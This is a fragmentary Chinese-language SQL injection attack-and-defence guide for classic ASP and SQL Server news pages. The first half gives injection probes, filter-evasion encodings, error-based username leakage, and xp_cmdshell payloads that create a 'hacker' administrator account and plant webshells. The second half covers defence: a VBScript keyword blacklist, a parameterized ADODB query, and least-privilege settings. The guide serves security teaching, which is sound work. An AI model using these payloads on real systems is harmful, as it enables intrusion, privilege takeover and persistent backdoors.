xp_cmdshell 可用性 (需 sysadmin + 未移除) → 直接拿系統權限假設目標 news.asp?id=xx
id=xx' → 報錯 (但可能被 CInt 攔截)id=xx AND 1=1 (正常) / id=xx AND 1=2 (異常/空白) — 最穩健。id=xx' AND '1'='1 / id=xx' AND '1'='2SeLeCt, UnIoN%20, %27, %2BCHAR(97)+CHAR(100)+...... AND USER>0 -- SQL Server 回傳 "將 nvarchar 值 'dbo' 轉換為 int 失敗",洩露用戶名
dbo = sa 權限。
... AND (SELECT COUNT(*) FROM sysobjects)>0 -- 正常 = SQL Server
... AND (SELECT COUNT(*) FROM msysobjects)>0 -- 正常 = Access (通常無權)
...;EXEC master..xp_cmdshell 'net user hacker 123 /add'--
...;EXEC master..xp_cmdshell 'net localgroup administrators hacker /add'--
直接建立系統管理員帳號。
xp_dirtree、xp_fileexist、@@basedir 等)。xp_cmdshell (若可用) 或 BCP、OPENROWSET、sp_OACreate (FSO) 寫入 ASP/PHP/ASPX Webshell。Function Filter_SQL(strData)
Dim arrFilter, i, blnFlag
arrFilter = Array("'", ";", "--", "@", "_", "exec", "declare", "xp_", "sp_", "0x")
blnFlag = False
For i = 0 To UBound(arrFilter)
If InStr(1, strData, arrFilter(i), 1) > 0 Then
blnFlag = True: Exit For
End If
Next
If blnFlag Then
Response.Write "非法字元已攔截"
Response.End
Else
Filter_SQL = strData
End If
End Function
' 使用範例
Dim safeId : safeId = Filter_SQL(Request("id"))
Dim cmd, rs
Set cmd = Server.CreateObject("ADODB.Command")
cmd.ActiveConnection = conn
cmd.CommandText = "SELECT * FROM News WHERE NewsID = ? AND Status = 1"
cmd.CommandType = 1 ' adCmdText
cmd.Parameters.Append cmd.CreateParameter("@NewsID", 3, 1, , Request("id")) ' adInteger
Set rs = cmd.Execute
參數化查詢將資料視為字面值,徹底杜絕注入。
db_datareader + db_datawriter (特定表),無 db_owner/sysadmin。xp_cmdshell, xp_reg*, sp_OA* 等危險擴展程序。SQL Injection 攻防是長期對抗。程式端「參數化查詢」是銀彈;資料庫端「最小權限、移除危險功能、稽核監控」是盾。雙管齊下,方能安心。